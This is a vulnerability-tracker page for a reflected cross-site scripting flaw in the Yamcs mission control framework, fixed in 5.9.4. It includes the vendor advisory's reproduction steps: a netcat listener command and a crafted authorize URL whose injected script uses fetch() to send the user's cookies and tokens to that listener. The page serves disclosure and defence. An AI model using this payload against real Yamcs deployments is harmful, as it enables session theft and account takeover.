CVE-2026-55549
mediumpriority · track · 0EPSS 0.013 · 70 %ileUSEPSS · scored 2026-10-27
Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (1)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-rxpg-wjf8-qv9cYamcs has Reflected XSS in the URL of the Authorize Endpoint2026-08-28ghsa · osvUS
### Attack type: Unauthenticated remote ### Impact: Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token. ### Affected components: authorize.html, AuthHandler.java, HandlerContext.java A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account. Using a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser: <img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" /> You then use JavaScript to obtain the user's cookies and display them in the alert: <img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" /> Finally, use the `fetch` function to send the user's cookies to a remote server which we controlled: <img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" /> Now you can set these cookies in our own browser and login to Yamcs as the user. ## Steps to Reproduce 1. Start Yamcs 2. Login as a user 3. In a terminal, start a netcat listener: ``` nc -nlvp 8888 ``` 4. Paste the following URL payload in the browser ``` http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou ``` 5. You will receive a connection on your netcat listener containing the user's access token and refresh token. ## Acknowledgements This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
sources
Which sources assert this record, and when.
references (3) nvd
External citations — patches, advisories, analysis.
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan